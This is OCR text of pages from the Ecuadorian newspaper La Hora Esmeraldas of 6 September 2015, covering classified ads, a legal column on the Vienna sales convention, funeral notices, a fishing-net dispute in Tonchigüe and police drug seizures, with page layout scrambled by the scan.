TELEFONÍA CELULAR

Gran Promoción de bases para recarga

Litercell

TELEFONÍA CELULAR

DISTIBUYE AL POR MAYOR Y MENOR: Tarjetas de memoria, flash memories, audífonos, parlantes, cargadores, manos libres, etc.

Dir: San Rafael, vía Atacames Telf: 2765-604 / 0981615553

p94290

Litercell

TELEFONÍA CELULAR

DISTIBUIDOR DE: *Recargas *Tarjetas Dir: San Rafael, *Teléfonos vía Atacames *Chips Telf: 2765-604 / *Accesorios 0981615553

Litercell

TELEFONÍA CELULAR

BRINDA SERVICIO A DOMICILIO

Haga su pedido

ya!

Dir: San Rafael, vía Atacames Telf: 2765-604 / 0981615553

PROFESIONALES

DENTAL GLOBAL Dr. Daniel Ballesteros Obando

EMPLEOS

INFORMES: 0993482896

VENDO PROPIEDAD

A 10 MINUTOS DEL AEROPUERTO DE ESMERALDAS Casa mixta de 2 plantas en buen estado, con salida directa a la playa, servicios de agua y luz, palmeras en producción, buenas vías de acceso Informes: 0993162606 - 2722 294 ext 102

POR AMPIACION NECESITA 2 MECANICOS AUTOMOTRIZ y TÉCNICO EN BALANCEO Y ALINEACIÓN

PRESENTARSE CON HOJA DE VIDA A LAS 12 DEL DIA EN. BARRIO LUIS COPRDERO CRESPO A 200 M DEL REDONDEL DE LA ISLA LUIS VARGAS TORRES.

TELF. 0991136619

TELEFONIA EMOVIL NECESITA CONTRATAR ASESORES COMERCIALES CON EXPERIENCIA EN VENTAS (DE TELEFONO)

LA EMPRESA OFRECE: • COMISIONES DIARIAS • BONIFICACIONES • CAPACITACION CONSTANTE INTERESADOS PRESENTAR DOCUMENTACION EN MEJIA ENTRE OLMEDO Y SUCRE, JUNTO AL BANCO DEL PICHINCHA

INF: 0981317324

IMPORTANTE EMPRESA SOLICITA ADMINISTRADOR

LA EMPRESA OFRECE: • EXELENTE REMUNERACION • COMISIONES POR CUMPLIMIENTO DE OBJETIVOS • CAPACITACION PERMANENTE INTERESADPS PRESENTAR CURRICULUM VITAE AL SIGUIENTE CORREO: martha.arroyo@indumaster.com.ec O NACERCARCE A LAS OFICINAS UBICADA EN LAS CALLES ELOY ALFARO Y SALINAS ESQUINA

P94297

DISTRIBUIDOR AUTORIZADO

PRONACA SOLICITA

VENDEDORES CON EXPERIENCIA EN VENTAS DE CONSUMO MASIVO - De preferencia con movilización propia - Disponibilidad inmediata - Agradable ambiente de trabajo más sueldo y beneficios de acuerdo a la Ley Entregar hoja de vida en vía Refinería, frente al colegio Luis Tello , o al correo electrónico pchavarría@gyg.com.ec O también comunicarse al celular 0967455034

ODONTOLOGÍA FAMILIAR

SEGUNDA PLANTA ALTA DE EDIFICIO, CALLE PRINCIPAL

P/Es/970

aguacoquito@gmail.com O llamar al 022 756 008 0989 002 068

TECNICENTRO LOBO FEROZ.

REQUISITOS: • EXPERIENCIA EN MANEJO DE PERSONAL Y CUMPLIMIENTO DE OBJETIVOS • TITULO CONTABLE O INGENIERA COMERCIAL. • CON CONOCIMIENTOS CONTABLES

ALQUILO EN GUAYAQUIL DIRECCIÓN: PORTETE Y GUERRERO VALENZUELA

Con experiencia y que cuenten con movilización propia (moto o auto). Para las provincias de Santo Domingo y Esmeraldas. Interesados enviar su curriculum al correo:

p94283

94132

CITAS: 0987165834-0997405879

ODONTÓLOGO TRATAMIENTO ORTODONCICO PREVENTIVO, TRATAMIENTO DE CONDUCTO, TRATAMIENTO PARA NIÑOS Y ADULTOS, RADIOGRAFÍA PANORÁMICA, CEFALOMÉTRICA Y PARAPICALES, BLANQUEAMIENTOS, ODONTOLOGÌA GENERAL. DIR.: OLMEDO Y MANUELA CAÑIZARES, EDIFICIO “LA VOZ DE SU AMIGO”, PRIMER PISO ALTO. TELF.: 2724097 - 0997589307

DEPARTAMENTO DE UN SOLO AMBIENTE PARA ESTUDIANTES. LUGAR SEGURO

VENDEDORES

p94074

P94299

ALQUILO DEPARTAMENTO SALA, COMEDOR, COCINA, 3 DORMITORIOS Y 2 BAÑOS

EN EL SECTOR TABULE - TACHINA 700 M2 DE 20X35

Dir: Av. Bolívar 506 y Rocafuerte esquina, Edif. “La Hora” 3er piso, al lado del Estudio Jurídico Cuero & Cuero Telf: 2711282 - 0999315575 - 0997930228

p94287

Dirección: Colinas del Sol Interesados llamar al telf: 0996007251

VENDO CASA DE HORMIGÓN DOS PLANTAS NUEVA - GARAGE CISTERNA- TERRAZA SECTOR “VALLE HERMOSO” SAN RAFAEL

VENDO LOTE DE TERRENO UBICADO

Puntualidad, seguridad y Calidad.

Telfs: 2715 862 - 0991461254

p94304

¿ Te imaginas llegar a tu casa después de una dura jornada laboral y encontrar todo limpio y en orden ?

CONTROLE SU PESO

Examen de Grasa GRATIS

BIENES RAICES

PARA TU HOGAR U OFICINA

EMPRESA REQUIERE CONTRATAR

VARIOS p94185

CASAS EN CIUDADELAS Y EN EL CENTRO DE ESMERALDAS INF: 0986194663 - 2 454 208 P94304

p94291

p94288

CLASIFICADOS ECONÓMICOS

EMPLEOS

BIENES RAICES

P-211575/MIG

CYAN MAGENTA YELLOW BLACK

importante empresa de marketing

p5260

SERCOEL S.A

NECESITA CONTRATAR PARA LA CIUDAD DE QUININDÉ

PERSONAL CON CONOCIMIENTO ELÉCTRICO PARA CORTE Y RE CONEXIÓN MÍNIMO BACHILLER ADEMAS:

REQUIERE CONTRATAR CAMIONETAS DOBLE CABINA AÑO 2009 -2014 INFORMES: AL 0980623519- 0968619148

REQUIERE MERCADERISTAS PARA ESMERALDAS Y SANTO DOMINGO DE LOS TSACHILAS QUE RESIDAN EN LAS MISMAS INTERESADOS ENVIAR HOJAS DE VIDA A: rrhh@redime-ec.com

CLASICADOS EN LA WEB correspondientes a este día

PAC63697fa

www.lahora.com.ec

REVISTA JUDICIAL DOMINGO

SEPTIEMBRE DE 2015 I06 DE La Hora ESMERALDAS

A13

Convención de Viena: Contrato de Compra - Venta Internacional de Mercaderías Autor: Ab. Adriana Jaya Introducción

Ante la Globalización económica mundial la contratación Internacional tiende a la uniformidad de criterios con la creación de convenciones, la aplicación recurrente de los usos y costumbres comerciales internacionales, a fin de asegurar las transacciones hechas internacionalmente; los avances tecnológicos permiten que la comunicación sea inmediata con cualquier parte del mundo, comunicación que también tiene injerencia en la contratación internacional, debido a que muchos de ellos se realizan por internet o redes electrónicas de comunicación. Es aquí donde las regulaciones pretenden normalizar los Usos y Costumbres Internacionales, a fin de darle a las partes contratantes la seguridad jurídica en sus transacciones. El comercio internacional adolece de la necesaria unificación de criterios legislativos aplicables a las transacciones de bienes y/o servicios. La imposibilidad de crear un único derecho aplicable a los contratos mercantiles de índole internacional ha obligado tanto a las Instituciones creadas “ad hoc” (UNIDROIT, CCI..) como a los operadores (Organismos, y Asociaciones Profesionales) a articular distintos mecanismos para su regulación legal. Las condiciones generales de contratación responden al fenómeno de la estandarización de contratos y vienen impuestas por su reconocimiento y uso repetido en el tiempo y han alcanzado a configurarse como norma consuetudinaria para los sectores comerciales en que son aplicadas. La Convención de Viena prevé que las mercancías entregadas estén cuantitativa (cantidad pactada), cualitativa (la concreta mercadería a la que se refiere el contrato)y jurídicamente de

acuerdo con los términos del contrato. El texto de Viena reconoce la autonomía de las partes, es decir en el caso que nos ocupa, que es el comprando quien está plenamente facultado para determinar la conformidad o no de las mercancías. Esta conformidad no ha de ser solo fáctica sino que es necesario que sea también jurídica, es decir libres de cualquier derecho o pretensión de un tercero e incluso aquellos supuestos en los que los derechos o pretensiones se basan en la propiedad industrial u otros tipos de propiedad intelectual. La problemática de la conformidad de las mercaderías adquiridas plantea el problema del examen de la mercancía, actividad esencial para concretar tal conformidad. El Convenio en su artículo 38.1 establece una obligación genérica, por parte del comprador, de examinar o hacer examinar las mercaderías en el plazo más breve posible, atendidas las circunstancias. Ahora bien, la cuestión del examen de las mercancías tiene varias matizaciones, la que incluso no tendrá límite de tiempo, cuando la falta de conformidad “ se refiere a hechos que conocía o no podía ignorar y que no haya revelado al comprador”, previendo así la actuación dolosa del vendedor. La Convención regula en sus preceptos supuestos que implican falta de conformidad en las mercancías, lo que conlleva una determinada responsabilidad, ya sea en los casos en que el vendedor incumple con lo pactado contractualmente acerca de la calidad de las mercancías o cuando la mercancía es considerada no apta según lo regulado por el texto de Viena. I. Contrato

Contrato, es el instrumento a través del cual dos o más personas con consentimiento mutuo se obligan entre sí a dar o hacer

alguna cosa. Rodríguez Azuero lo define como “... La manifestación o el acuerdo de dos o más voluntades que buscan la consecución de un mismo logro y que califica como acto bilateral o plurilateral. Dos ejemplos del acto jurídico bilateral son el contrato y la convención...”[1] II. Contrato Internacional

Como se ha señalado con anterioridad, el contrato es un mecanismo legal que tiene por fin el intercambio sea de mercaderías o servicios. Es decir, “... el Acuerdo entre dos o más partes para producir efectos jurídicos...”[2]. Fernandez Arroyo considera internacional a “esa relación jurídica de carácter privado cuyos elementos están vinculados con dos o más ordenamientos jurídicos u organizaciones jurisdiccionales”[3] Para calificar a un contrato como internacional debemos orientarnos la naturaleza misma de las relaciones contractuales. Los criterios que priman se resumen en tres: el que las partes contratantes tengan algún tipo de conexión personal con Estados diferentes –conexión que se traduce en distintos conceptos, tales como el lugar de negocios según la Convención de Viena de 1980, el domicilio y el lugar habitual de residencia en la Convención de Roma-; el que el objeto del contrato sea llevado a cabo en el extranjero –sea la entrega de los bienes, la prestación de los servicios, etc.- y, el que los bienes involucrados en el contrato se encuentren en otro Estado.[4] III. Contrato de Compraventa Internacional

Es un contrato nominado que se perfecciona únicamente con el acuerdo de la partes tanto en la cosa a ser transferida, como en el precio de la misma. Este viene determinado por la presencia de más de un ordenamiento ju-

rídico. Su función principal es proporcionar seguridad jurídica a las partes. IV. La Convención de Viena como Regulación del Contrato de Compraventa Internacional

La Convención de Viena de 1980, se creó con la finalidad de adoptar normas uniformes aplicables a los contratos de compraventa internacional de mercaderías con el fin de eliminar obstáculos jurídicos existentes en el comercio internacional. Regula, la formación del contrato y los derechos y obligaciones del vendedor y del comprador

derivados de dicho contrato. Podemos señalar que la Convención reconoce que la libertad contractual encuentra sus límites en: el deber de actuar con buena fe y lealtad en la negociación, la limitación proveniente de estar las partes obligadas por cualquier práctica que hayan establecido entre ellas. http://www.derechoecuador.com/articulos/detalle/ a r c h i v e /d o c t r i n a s /d e r e chocomercial/2015/09/01/ convencion-de-viena--contrato-de-compra---venta-internacional-de-mercaderias p94313

PARTE MORTUORIO E INVITACIÓN A SEPELIO

Esposa: María Soledad Tonato Quisilema Hijos: Rodrigo; Katy, Maritza y Cristhian Terán Tonato Nietos: Jueisy, Brithany, Brayan Terán Baltan, Randy Ducqler Terán.; Anahis y Cristhian Edmundo Terán Cabrera. Tíos, primos y demás familiares de quien en vida fue:

Sr. EDMUNDO WASHINGTON TERÁN CUÑAS

Padre, amigo y esposo Edmundo, nos dejas físicamente, pero sigues con nosotros espiritualmente, te recordaremos con admiración. Hombre valiente y luchador este no es un adiós sino un hasta pronto. Tu Familia Terán Tonato te amaremos por siempre.

Cumplen con el penoso deber de comunicar su sensible fallecimiento acaecido en Portoviejo a los 4 días del presente mes e invitan al Sepelio a realizarse Hoy Domingo 05 de Septiembre en la iglesia “San Jose Obrero” a las 3:00 pm. Descansa en paz. Esmeraldas 05 de Septiembre del 2015.

CYAN MAGENTA YELLOW BLACK

esmeraldas

CANTONES A14

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora ESMERALDAS

PREOCUPACIÓN. Varias reuniones han realizado los pescadores para tratar el asunto de los trasmallos denominados voladores.

Defienden utilización de trasmallos voladores Los pescadores acordaron que se permitirá el uso de los voladores pero a una distancia mínima de dos millas. ATACAMES-LA HORA. En una nueva

reunión efectuada en la mañana del miércoles por parte de los pescadores de la parroquia Tonchigüe, para insistir en que se retiren los trasmallos denominados voladores, el presidente de la Cooperativa de Producción Pesquera Artesanal ‘Bendición de Dios’, Miguel Burgos, defendió la utilización de ese material que, a decir de él, es netamente artesanal y hace una pesca selectiva considerando que el ojo de malla es de tres pulgadas. “Es decir, que nada de lo que esté pequeño se va a quedar ahí, sólo vamos a atrapar peces que

sean grandes”, afirmó el dirigente pesquero, reconociendo que esos trasmallos permanecen en el mar toda la noche. “Yo les he denominado los guardianes del mar, porque eso está permitiendo que la flota industrial no rice (pesque) en las áreas que a ellos no les corresponde”, expresó Burgos. Afectación marina

Añadió que le preocupaba el hecho de que si no se les permite continuar pescando con los voladores, los industriales volvieran a realizar faenas de pesca a orillas del mar y se afecte mucho

P94306

más la biología marina. Una dama que no se identificó y quien también intervino en la reunión, manifestó que a su criterio más que los voladores quienes están afectando las especies son las grandes lanchas que en Atacames las denominan ‘barquitos’. “Ellos utilizan una malla en cuyo ojo no entra ni un dedo. A ellos es que tenemos que decirles que ya no pueden pescar porque matan todo tipo de especies”, aseguró la dama, añadiendo que esa pesca la hacen muy cerca de la orilla del mar y se afecta la mayor parte de peces y crustáceos pequeños. Arrasa con todo

Sin embargo, esos argumentos no convencieron a los pescadores tonchigüenses y algunos de

ellos expusieron sus razones por las que consideraban que son los ‘voladores’ los que han disminuido la pesca en este lugar. Algunos de ellos argumentaron que ese trasmallo es grande y no está en un solo sitio, sino que rueda de acuerdo con las corrientes marinas y va arrasando con todo lo que encuentra a su paso aunque hay especies que no los agarra pero los deja maltratados y destrozados, las cuales aparecen en las redes de los pescadores artesanales. Oswaldo Pinargote asegura que pesca pargo y corvina con anzuelo en las áreas cuyo fondo marino es de piedra y que en algunas ocasiones ha sacado trozos de malla de los voladores, “y eso es una trampa mortal para las especies considerando que ese material dura cientos de años

P94306

ACUERDO DE CONDOLENCIA LOS TRABAJADORES DE CETRAPEP CONSIDERANDO:

Que en la ciudad de Guayaquil a los 3 días del mes septiembre del 2015 ha dejado de existir la distinguida:

SRA. FANNY DEL SOCORRO MARÍN GÓMEZ. Que la decesada fue madre de nuestro compañero DR. JOHN REYES MARIN Secretario General de CETRAPEP

Que es nuestro deber expresar a sus familiares y de manera especial al compañero DR. JOHN REYES MARIN nuestro sentimiento de pesar y solidaridad por tan irreparable pérdida. PAZ EN SU TUMBA Esmeraldas, 6 de septiembre del 2015

ACUERDO DE CONDOLENCIA LOS TRABAJADORES DE CETRAPEP CONSIDERANDO:

Que en la ciudad de Esmeraldas a los 2 días del mes septiembre del 2015 ha dejado de existir el distinguido.

SR. JUAN CARLOS OREJUELA REYES

COMPAÑERO DE NUESTRA INSTITUCIÓN

Que es nuestro deber expresar a sus familiares y de manera especial a su esposa e hijos nuestro sentimiento de pesar y solidaridad por tan irreparable pérdida. PAZ EN SU TUMBA Esmeraldas, 6 de septiembre del 2015

para degradarse”, comentó. La resolución

Al final de la reunión y con la presencia de algunas autoridades parroquiales, se acordó que quienes están pescando con los trasmallos ‘voladores’ lo continúen haciendo, pero a una distancia mínima de 2 millas desde la orilla de la playa. El acuerdo tomado es temporal, pues, los encargados de la oficina de la Subsecretaría de Pesca ubicada en la parroquia Tonchigüe, han enviado una comunicación a sus superiores y están a la espera de una respuesta que especifique la retirada de los cuestionados trasmallos o se informe de alguna regulación para que se lo continúe utilizando sin causar mayores estragos a la biología marina. (PAM)

“Aquí me huele que hay algo raro, si nos retiran a quienes pescamos toda la noche con los voladores, nuevamente ingresará la pesca industrial y todos seremos perjudicados”. MIGUEL BURGOS,

PRESIDENTE COOPERATIVA ‘BENDICIÓN DE DIOS’.

“Cuando los barcos se fueron teníamos pesca y cuando los voladores llegaron se nos fue nuevamente la pesca. Yo no estoy de acuerdo con el uso de voladores”. SIMÓN LUCAS, PESCADOR.

“Encontramos camarones quebrados el espinazo, arrancado el carapacho y eso sale en nuestras redes artesanales, es decir, la pesca con los voladores sí está haciendo daño al camarón”. NILO QUINTERO, PESCADOR.

SEGURIDAD I

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora ESMERALDAS

A15

ASTUCIA. En Rioverde, dentro de un saco donde se llevaba un cilindro de gas de uso doméstico, se habían camuflado paquetes de marihuana.

EVIDENCIA. La Policía presentó los 729,170 kilogramos de drogas decomisados en la provincia de Esmeraldas en 10 días.

Policía decomisa 729 kilos de droga en 10 días Se evitó la venta de 5’104.824 dosis. Los decomisos fueron en Esmeraldas, Rioverde, Eloy Alfaro y Quinindé. En rueda de prensa, la Policía informó sobre los resultados de los operativos antinarcóticos realizados en los 10 últimos días en la provincia de Esmeraldas, en los cuales se ha logrado resultados positivos. Las estadísticas revelan el decomiso de 729,170 kilogramos de droga entre marihuana y cocaína. Además, se incautaron 2.640 litros de ácido sulfúrico y 360 litros de hexano, químicos que utilizan los narcotraficantes para refinar la droga. En los operativos se apresó a 10 ecuatorianos y un colombiano, se decomisaron dos armas de fuego tipo revólver calibre 38 milímetros y siete municiones. Con la droga incautada la Policía evitó la comercialización de 5’104.824 dosis. Decomiso en África

En la playa del sector África, parroquia Montalvo, cantón Rioverde, los agentes antinarcóticos como resultado de una denuncia reservada encontraron cuatro sacos de yute que contenían 205,500 kilogramos de cocaína. En ese procedimiento, que se ejecutó a pocos metros del mar, no hubo personas detenidas. Con la droga decomisada se evitó la venta de 2 millones 55 mil dosis. Se conoció que los traficantes luego de llegar procedentes de

Colombia por vía marítima camuflaron la droga, pero gracias a una denuncia ciudadana al número 1800-Drogas la Policía tuvo conocimiento del ilícito y evitó la comercialización del alcaloide.

Inteligencia del personal que labora en el cantón Eloy Alfaro. La Policía determinó que con el decomiso de la droga se benefició a 350 familias que viven en el sector, pues, se evitó que se comercializaran 1.020 dosis de droga. En la carretera TachinaCamarones, la Policía ejecutó el operativo ‘Las Piedras’, que permitió decomisar 146,200 kilogramos de marihuana.

Droga en bus

En automóvil y bus

El trabajo de los agentes antinarcóticos se extendió hasta la parroquia Borbón, en el cantón Eloy Alfaro, al norte de la provincia de Esmeraldas, donde al interior de un bus de pasajeros se encontró cuatro sacos de yute con 91,770 kilogramos de marihuana. El alcaloide había sido embarcado como encomienda en el micro y que tenía como destino final la ciudad de Guayaquil donde se iban a distribuir 183.540 dosis. En este decomiso tampoco hubo detenidos. Se conoció que el presunto propietario pretendía abordar el micro en una de las parroquias del cantón Rioverde, para evitar ser apresado con el alcaloide. Operación ‘La Labia’

En el barrio 1 de Mayo, también en la parroquia Borbón, la Policía apresó a Omar A., por tenencia de droga, en su poder se encontraron 102 gramos de cocaína. La operación se denominó ‘La Labia’ y se ejecutó como producto de operaciones básica de

La droga era movilizada en un automóvil en el cual viajaban Darwin A. y Óscar C. Fueron 75 bloques tipo ladrillos lo decomisados, droga con la cual se preparaban 292.400 dosis. En otro procedimiento denominado ‘Gas’, que se incautó en Rioverde se incautaron 9.500 gramos de marihuana que estaba camuflada dentro de un saco donde se encontraba un cilindro de gas de uso doméstico que se lo iba a movilizar en un bus de pasajeros de servicio intercantonal. (DMG)

Casos por cantones ° En el cantón Esmeraldas se decomisaron 162 gramos de drogas entre marihuana y cocaína. Se apresó a cuatro personas. ° En Eloy Alfaro se incautaron 91,872 kilogramos de droga. ° En Rioverde la droga decomisada fue 594,570 kilogramos. ° En Quinindé 42,563 kilogramos de droga entre cocaína y marihuana

SITIO. En rueda de prensa se presentó la droga decomisada en cada cantón.

LUGAR. En el cantón Eloy Alfaro, al norte de Esmeraldas, se decomisó un cargamento de marihuana y coca.

CIFRAS 523.414 gramos de marihuana fueron °decomisados en la provincia en 10 días.

° 205.600 GRAMOS de clorhidrato de cocaína. ° 256 gramos de base de cocaína. PARA SABER En las operaciones ‘Camarón’ y ‘Amadeo’, la Policía, cumpliendo órdenes judiciales por el delito de tráfico ilícito de sustancias sujetas a fiscalización, apresó a Cristian C. y a Trejo D.

CENTRO. En el cantón Quinindé también se decomisó droga que era llevada a otras ciudades del país.

75c incl. IVA DOMINGO 06 DE SEPTIEMBRE DE 2015

Esmeraldas

32 PÁGINAS

‘Tenemos que jugarlo al máximo’ Página B14

LUCHA SIN DESMAYO CONTRA LAS DROGAS Liga (Q) - Barcelona, partido de la fecha Página B15

En los últimos 10 días la Policía ha decomisado 729,170 kilogramos de droga entre marihuana y cocaína, evitando la comercialización de 5’104.824 dosis. Las incautaciones fueron en Esmeraldas, Rioverde, Eloy Alfaro y Quinindé. Página A15

LA INMACULADA INTEGRA A LA FAMILIA

A través de jornadas deportivas y recreativas, ayer, la Unidad Educativa Particular Mixta Católica La Inmaculada, realizó la Tercera Jornada de Integración Familiar. Hoy seguirá la fiesta. Página A9